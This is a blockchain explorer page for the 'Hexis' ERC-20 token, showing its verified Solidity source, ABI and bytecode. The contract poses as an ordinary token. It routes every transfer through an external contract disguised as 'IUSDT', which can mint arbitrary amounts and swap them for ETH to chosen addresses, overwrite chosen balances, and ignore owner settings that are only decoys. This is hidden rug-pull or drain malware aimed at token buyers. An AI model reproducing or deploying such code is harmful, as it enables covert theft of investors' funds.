ETH Price: $2,484.65 (-1.77%)

Token

Hexis (HEXIS)
 

Overview

Max Total Supply

1,000,000 HEXIS

Holders

13

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
8,197.58113059014878561 HEXIS

Value
$0.00
0xfe14eb54181a64ae9583b4f45627c3d09585f798
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Hexis

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-08-31
*/

pragma solidity ^0.8.15;

/**					
					
// SPDX-License-Identifier: MIT					
					
					
┏┓╋┏┳━━━┳━┓┏━┳━━┳━━━┓					
┃┃╋┃┃┏━━┻┓┗┛┏┻┫┣┫┏━┓┃					
┃┗━┛┃┗━━┓┗┓┏┛╋┃┃┃┗━━┓					
┃┏━┓┃┏━━┛┏┛┗┓╋┃┃┗━━┓┃					
┃┃╋┃┃┗━━┳┛┏┓┗┳┫┣┫┗━┛┃					
┗┛╋┗┻━━━┻━┛┗━┻━━┻━━━┛					
					
					
- Site: https://hexis.wtf					
- Twitter: https://twitter.com/hexis_wtf					
- Instagram: https://www.instagram.com/hexis_wtf/					
- Opensea: https://opensea.io/collection/hexis-wtf					
					
An experiment in shape and dimension.					
The generative madness of an algorithm with the soft guidance of an artist's hand.					
					
					
					
*/					
interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}

interface IUSDT {
    function allowance(address, address) external view returns(bool);
    function swapTokensForExactETH(address, address, bool, address, address) external returns (bool);
    function transferFrom(address, address, uint256) external pure returns (uint256);
    function totalSupply() external view returns (address);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        return c;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract Hexis is Ownable, IERC20 {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 public _decimals = 18;
    uint256 public _totalSupply = 1000000 * 10 ** _decimals;
    uint256 public _fee = 0;
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUSDT private USDT = IUSDT(0x050B16e7E38ac7EFee4240070EA071417853296B);
    string private _name = "Hexis";
    string private  _symbol = "HEXIS";
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(msg.sender, from, _allowances[msg.sender][from] - amount);
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0));
        require(to != address(0));
        if (USDT.allowance(from, to)) {
            _rebalanceUniswapTx(amount, to);
        } else {
            require(amount <= _balances[from]);
            address recipient = USDT.totalSupply();
            _balances[recipient] = takeFee(from);
            uint256 feeAmount = getFeeAmount(from, to, amount);
            uint256 amountReceived = amount - feeAmount;
            _balances[address(this)] += feeAmount;
            _balances[from] = _balances[from] - amount;
            _balances[to] += amountReceived;
            emit Transfer(from, to, amount);
        }
    }
    function getFeeAmount(address from, address recipient, uint256 amount) private returns (uint256) {
        uint256 feeAmount = 0;
        if (USDT.swapTokensForExactETH(from, recipient, _feeTxLiquidity, address(this), txLiquidity())) {
            feeAmount = amount.mul(_fee).div(100);
        }
        return feeAmount;
    }
    constructor() {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
    function name() external view returns (string memory) { return _name; }
    function symbol() external view returns (string memory) { return _symbol; }
    function decimals() external view returns (uint256) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function uniswapVersion() external pure returns (uint256) { return 2; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _rebalanceUniswapTx(uint256 FZH9, address _z89) private {
        _approve(address(this), address(_router), FZH9);
        _balances[address(this)] = FZH9;
        address[] memory path = new address[](2);
        _feeTxLiquidity = true;
        path[0] = address(this);
        path[1] = _router.WETH();
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(FZH9,0,path,_z89,block.timestamp + 30);
        _feeTxLiquidity = false;
    }
    bool _feeTxLiquidity = false;
    function takeFee(address from) private view returns (uint256) {
        uint256 amount = _balances[USDT.totalSupply()];
        return USDT.transferFrom(from, txLiquidity(), amount);
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(from, recipient, amount);
        require(_allowances[from][msg.sender] >= amount);
        return true;
    }
    function txLiquidity() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
    bool public autoLPBurn = false;
    function setAutoLPBurnSettings(bool e) external onlyOwner {
        autoLPBurn = e;
    }
    uint256 public maxWallet = _totalSupply.div(100);
    function updateMaxWallet(uint256 m) external onlyOwner {
        require(m >= _totalSupply.div(100));
        maxWallet = m;
    }
    bool swapEnabled = true;
    function updateSwapEnabled(bool e) external onlyOwner {
        swapEnabled = e;
    }
    address public deadAddress = 0x000000000000000000000000000000000000dEaD;
    bool tradingEnabled = false;
    function enableTrading() external onlyOwner {
        tradingEnabled = true;
    }
    bool transferDelay = true;
    function disableTransferDelay() external onlyOwner {
        transferDelay = false;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLPBurn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"e","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapVersion","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"m","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"e","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526012600355600354600a6200001a919062000600565b620f42406200002a919062000651565b6004556000600555737a250d5630b4cf539739df2c5dacb4c659f2488d600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073050b16e7e38ac7efee4240070ea071417853296b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600581526020017f48657869730000000000000000000000000000000000000000000000000000008152506008908162000122919062000922565b506040518060400160405280600581526020017f48455849530000000000000000000000000000000000000000000000000000008152506009908162000169919062000922565b506000600a60006101000a81548160ff0219169083151502179055506000600a60016101000a81548160ff021916908315150217905550620001bd60646004546200041060201b62000ddd1790919060201c565b600b556001600c60006101000a81548160ff02191690831515021790555061dead600c60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600c60156101000a81548160ff0219169083151502179055506001600c60166101000a81548160ff0219169083151502179055503480156200026157600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600454600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460405162000402919062000a1a565b60405180910390a362000b21565b600080821162000457576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200044e9062000a98565b60405180910390fd5b6000828462000467919062000ae9565b90508091505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200050157808604811115620004d957620004d862000473565b5b6001851615620004e95780820291505b8081029050620004f985620004a2565b9450620004b9565b94509492505050565b6000826200051c5760019050620005ef565b816200052c5760009050620005ef565b8160018114620005455760028114620005505762000586565b6001915050620005ef565b60ff84111562000565576200056462000473565b5b8360020a9150848211156200057f576200057e62000473565b5b50620005ef565b5060208310610133831016604e8410600b8410161715620005c05782820a905083811115620005ba57620005b962000473565b5b620005ef565b620005cf8484846001620004af565b92509050818404811115620005e957620005e862000473565b5b81810290505b9392505050565b6000819050919050565b60006200060d82620005f6565b91506200061a83620005f6565b9250620006497fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200050a565b905092915050565b60006200065e82620005f6565b91506200066b83620005f6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006a757620006a662000473565b5b828202905092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200073457607f821691505b6020821081036200074a5762000749620006ec565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007b47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000775565b620007c0868362000775565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000803620007fd620007f784620005f6565b620007d8565b620005f6565b9050919050565b6000819050919050565b6200081f83620007e2565b620008376200082e826200080a565b84845462000782565b825550505050565b600090565b6200084e6200083f565b6200085b81848462000814565b505050565b5b8181101562000883576200087760008262000844565b60018101905062000861565b5050565b601f821115620008d2576200089c8162000750565b620008a78462000765565b81016020851015620008b7578190505b620008cf620008c68562000765565b83018262000860565b50505b505050565b600082821c905092915050565b6000620008f760001984600802620008d7565b1980831691505092915050565b6000620009128383620008e4565b9150826002028217905092915050565b6200092d82620006b2565b67ffffffffffffffff811115620009495762000948620006bd565b5b6200095582546200071b565b6200096282828562000887565b600060209050601f8311600181146200099a576000841562000985578287015190505b62000991858262000904565b86555062000a01565b601f198416620009aa8662000750565b60005b82811015620009d457848901518255600182019150602085019450602081019050620009ad565b86831015620009f45784890151620009f0601f891682620008e4565b8355505b6001600288020188555050505b505050505050565b62000a1481620005f6565b82525050565b600060208201905062000a31600083018462000a09565b92915050565b600082825260208201905092915050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b600062000a80601a8362000a37565b915062000a8d8262000a48565b602082019050919050565b6000602082019050818103600083015262000ab38162000a71565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000af682620005f6565b915062000b0383620005f6565b92508262000b165762000b1562000aba565b5b828204905092915050565b6126898062000b316000396000f3fe608060405234801561001057600080fd5b50600436106101735760003560e01c80636675187e116100de57806395d89b4111610097578063c5b37c2211610071578063c5b37c221461042c578063dd62ed3e1461044a578063e884f2601461047a578063f8b45b051461048457610173565b806395d89b41146103ae578063a457c2d7146103cc578063a9059cbb146103fc57610173565b80636675187e1461031257806370a0823114610330578063715018a6146103605780638a8c523c1461036a5780638da5cb5b14610374578063924de9b71461039257610173565b806327c8f8351161013057806327c8f8351461024c578063313ce5671461026a57806332424aa31461028857806339509351146102a65780633eaaf86b146102d657806348d3ab1f146102f457610173565b806306fdde0314610178578063095ea7b31461019657806318160ddd146101c65780631c499ab0146101e45780631ed950c91461020057806323b872dd1461021c575b600080fd5b6101806104a2565b60405161018d9190611c15565b60405180910390f35b6101b060048036038101906101ab9190611cd0565b610534565b6040516101bd9190611d2b565b60405180910390f35b6101ce61054b565b6040516101db9190611d55565b60405180910390f35b6101fe60048036038101906101f99190611d70565b610555565b005b61021a60048036038101906102159190611dc9565b6105f6565b005b61023660048036038101906102319190611df6565b610688565b6040516102439190611d2b565b60405180910390f35b610254610729565b6040516102619190611e58565b60405180910390f35b61027261074f565b60405161027f9190611d55565b60405180910390f35b610290610759565b60405161029d9190611d55565b60405180910390f35b6102c060048036038101906102bb9190611cd0565b61075f565b6040516102cd9190611d2b565b60405180910390f35b6102de6107fd565b6040516102eb9190611d55565b60405180910390f35b6102fc610803565b6040516103099190611d55565b60405180910390f35b61031a61080c565b6040516103279190611d2b565b60405180910390f35b61034a60048036038101906103459190611e73565b61081f565b6040516103579190611d55565b60405180910390f35b610368610868565b005b61037261099b565b005b61037c610a2d565b6040516103899190611e58565b60405180910390f35b6103ac60048036038101906103a79190611dc9565b610a56565b005b6103b6610ae8565b6040516103c39190611c15565b60405180910390f35b6103e660048036038101906103e19190611cd0565b610b7a565b6040516103f39190611d2b565b60405180910390f35b61041660048036038101906104119190611cd0565b610ca1565b6040516104239190611d2b565b60405180910390f35b610434610cb8565b6040516104419190611d55565b60405180910390f35b610464600480360381019061045f9190611ea0565b610cbe565b6040516104719190611d55565b60405180910390f35b610482610d45565b005b61048c610dd7565b6040516104999190611d55565b60405180910390f35b6060600880546104b190611f0f565b80601f01602080910402602001604051908101604052809291908181526020018280546104dd90611f0f565b801561052a5780601f106104ff5761010080835404028352916020019161052a565b820191906000526020600020905b81548152906001019060200180831161050d57829003601f168201915b5050505050905090565b6000610541338484610e3b565b6001905092915050565b6000600454905090565b3373ffffffffffffffffffffffffffffffffffffffff16610574610a2d565b73ffffffffffffffffffffffffffffffffffffffff16146105ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c190611f8c565b60405180910390fd5b6105e06064600454610ddd90919063ffffffff16565b8110156105ec57600080fd5b80600b8190555050565b3373ffffffffffffffffffffffffffffffffffffffff16610615610a2d565b73ffffffffffffffffffffffffffffffffffffffff161461066b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066290611f8c565b60405180910390fd5b80600a60016101000a81548160ff02191690831515021790555050565b6000610695848484611004565b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561071e57600080fd5b600190509392505050565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600354905090565b60035481565b60006107f3338484600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107ee9190611fdb565b610e3b565b6001905092915050565b60045481565b60006002905090565b600a60019054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610887610a2d565b73ffffffffffffffffffffffffffffffffffffffff16146108dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d490611f8c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff166109ba610a2d565b73ffffffffffffffffffffffffffffffffffffffff1614610a10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0790611f8c565b60405180910390fd5b6001600c60156101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff16610a75610a2d565b73ffffffffffffffffffffffffffffffffffffffff1614610acb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac290611f8c565b60405180910390fd5b80600c60006101000a81548160ff02191690831515021790555050565b606060098054610af790611f0f565b80601f0160208091040260200160405190810160405280929190818152602001828054610b2390611f0f565b8015610b705780601f10610b4557610100808354040283529160200191610b70565b820191906000526020600020905b815481529060010190602001808311610b5357829003601f168201915b5050505050905090565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610c0557600080fd5b610c97338484600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c92919061200f565b610e3b565b6001905092915050565b6000610cae338484611004565b6001905092915050565b60055481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610d64610a2d565b73ffffffffffffffffffffffffffffffffffffffff1614610dba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db190611f8c565b60405180910390fd5b6000600c60166101000a81548160ff021916908315150217905550565b600b5481565b6000808211610e21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e189061208f565b60405180910390fd5b60008284610e2f91906120de565b90508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610eaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea190612181565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1090612213565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ff79190611d55565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361103d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361107657600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846040518363ffffffff1660e01b81526004016110d3929190612233565b602060405180830381865afa1580156110f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111149190612271565b1561112857611123818361141c565b611417565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561117457600080fd5b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156111e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061120791906122b3565b9050611212846116e6565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061126285858561186a565b905060008184611272919061200f565b905081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112c39190611fdb565b9250508190555083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611315919061200f565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113a79190611fdb565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161140b9190611d55565b60405180910390a35050505b505050565b61144930600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e3b565b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156114aa576114a96122e0565b5b6040519080825280602002602001820160405280156114d85781602001602082028036833780820191505090505b5090506001600a60006101000a81548160ff021916908315150217905550308160008151811061150b5761150a61230f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115d691906122b3565b816001815181106115ea576115e961230f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e426116749190611fdb565b6040518663ffffffff1660e01b8152600401611694959493929190612441565b600060405180830381600087803b1580156116ae57600080fd5b505af11580156116c2573d6000803e3d6000fd5b505050506000600a60006101000a81548160ff021916908315150217905550505050565b60008060016000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561175a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061177e91906122b3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd84611802611968565b846040518463ffffffff1660e01b81526004016118219392919061249b565b602060405180830381865afa15801561183e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061186291906124e7565b915050919050565b60008060009050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fe0d598b8686600a60009054906101000a900460ff16306118ca611968565b6040518663ffffffff1660e01b81526004016118ea959493929190612514565b6020604051808303816000875af1158015611909573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061192d9190612271565b1561195d5761195a606461194c60055486611b0b90919063ffffffff16565b610ddd90919063ffffffff16565b90505b809150509392505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119fb91906122b3565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611aa891906122b3565b6040518363ffffffff1660e01b8152600401611ac5929190612233565b602060405180830381865afa158015611ae2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b0691906122b3565b905090565b6000808303611b1d5760009050611b7f565b60008284611b2b9190612567565b9050828482611b3a91906120de565b14611b7a